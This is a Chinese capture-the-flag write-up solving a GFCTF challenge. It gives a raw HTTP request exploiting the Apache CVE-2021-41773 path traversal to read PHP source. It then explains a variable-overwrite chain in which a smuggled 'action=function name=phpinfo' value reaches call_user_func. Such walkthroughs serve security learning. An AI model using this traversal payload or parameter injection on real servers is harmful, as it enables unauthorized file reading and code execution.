坚持。复现平台https://www.ctfer.vip/
题目标签写了CVE-2021-41773,路径穿越漏洞,进入环境首先看源码
Welcome To GFCTF 12th!!
网上找payload,bp发包
GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/var/www/index.php.txt HTTP/1.1
Host: 12746-7a20f85f-19ce-45aa.nss.ctfer.vip:9080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
读取到index.php的源码
error_reporting(0);
define("main","main");
include "Class.php";
$temp = new Temp($_POST);
$temp->display($_GET['filename']);
?>
再看看Class.php的
defined('main') or die("no!!");
Class Temp{
private $date=['version'=>'1.0','img'=>'https://www.apache.org/img/asf-estd-1999-logo.jpg'];
private $template;
public function __construct($data){
$this->date = array_merge($this->date,$data);
}
public function getTempName($template,$dir){
if($dir === 'admin'){
$this->template = str_replace('..','','./template/admin/'.$template);
if(!is_file($this->template)){
die("no!!");
}
}
else{
$this->template = './template/index.html';
}
}
public function display($template,$space=''){
extract($this->date);
$this->getTempName($template,$space);
include($this->template);
}
public function listdata($_params){
$system = [
'db' => '',
'app' => '',
'num' => '',
'sum' => '',
'form' => '',
'page' => '',
'site' => '',
'flag' => '',
'not_flag' => '',
'show_flag' => '',
'more' => '',
'catid' => '',
'field' => '',
'order' => '',
'space' => '',
'table' => '',
'table_site' => '',
'total' => '',
'join' => '',
'on' => '',
'action' => '',
'return' => '',
'sbpage' => '',
'module' => '',
'urlrule' => '',
'pagesize' => '',
'pagefile' => '',
];
$param = $where = [];
$_params = trim($_params);
$params = explode(' ', $_params);
if (in_array($params[0], ['list','function'])) {
$params[0] = 'action='.$params[0];
}
foreach ($params as $t) {
$var = substr($t, 0, strpos($t, '='));
$val = substr($t, strpos($t, '=') + 1);
if (!$var) {
continue;
}
if (isset($system[$var])) {
$system[$var] = $val;
} else {
$param[$var] = $val;
}
}
// action
switch ($system['action']) {
case 'function':
if (!isset($param['name'])) {
return 'hacker!!';
} elseif (!function_exists($param['name'])) {
return 'hacker!!';
}
$force = $param['force'];
if (!$force) {
$p = [];
foreach ($param as $var => $t) {
if (strpos($var, 'param') === 0) {
$n = intval(substr($var, 5));
$p[$n] = $t;
}
}
if ($p) {
$rt = call_user_func_array($param['name'], $p);
} else {
$rt = call_user_func($param['name']);
}
return $rt;
}else{
return null;
}
case 'list':
return json_encode($this->date);
}
return null;
}
}
这里我们注意到
public function getTempName($template,$dir){
if($dir === 'admin'){
$this->template = str_replace('..','','./template/admin/'.$template);
if(!is_file($this->template)){
die("no!!");
}
}
显然$dir必须等于admin,随后template被拼接为./template/admin/index.html,这里有个很明显的变量覆盖漏洞,post一个space=admin即可。
然后包含这个文件,继续利用漏洞查看文件内容得到(只列出重点内容)
echo $this->listdata("action=list module=$mod");?>
因为我本地调试并没有/template/admin/index.html这个文件,所以一直进不去,这里稍微改一下源码,做了如下修改
public function getTempName($template,$dir){
if($dir === 'admin'){
$this->template = str_replace('..','','./template/admin/'.$template);
}
else{
$this->template = './template/index.html';
}
}
public function display($template,$space=''){
extract($this->date);
$this->getTempName($template,$space);
$this->listdata("action=list module=$mod");
这里的action是定死的,但是module的值我们可以自己传。class.php内有一堆处理的代码,注意到explode函数,还有遍历赋值.
当我们传入mod的值的时候,这里放张图
然后通过explode函数,以空格为分隔符分隔并且生成数组,进入下面的遍历
$params = explode(' ', $_params);
foreach ($params as $t) {
//遍历新⽣成的数组
$var = substr($t, 0, strpos($t, '=')); //var 为等号 前 的内容
$val = substr($t, strpos($t, '=') + 1);// val 为等号 后 的内容
if (!$var) {
continue; }
if (isset($system[$var])) {
//如果存在$system[$var]就重新赋值
$system[$var] = $val; }
else {
$param[$var] = $val; //不存在就放在$param这个数组⾥ } }
当我们post一个数据
space=admin&mod=sapp action=function name=phpinfo
进入数组遍历赋值时是这样一个过程,$system[action] = $val,val就是当我们传入xxx=sss的时候,截取等号后面的字符的值,也就是当我们传入action=list,val就等于list,那么这样就很好理解了,整个赋值过程大概这样
1->$system['action']=list
2->$system['action']=function
3->$system['module']=sapp
那么这个时候action就成功被覆盖为function,进入case为function的情况,然后检测name,name已经传了phpinfo,然后
call_user_func($param['name']);
调用phpinfo函数,然后全局搜索flag即可得到答案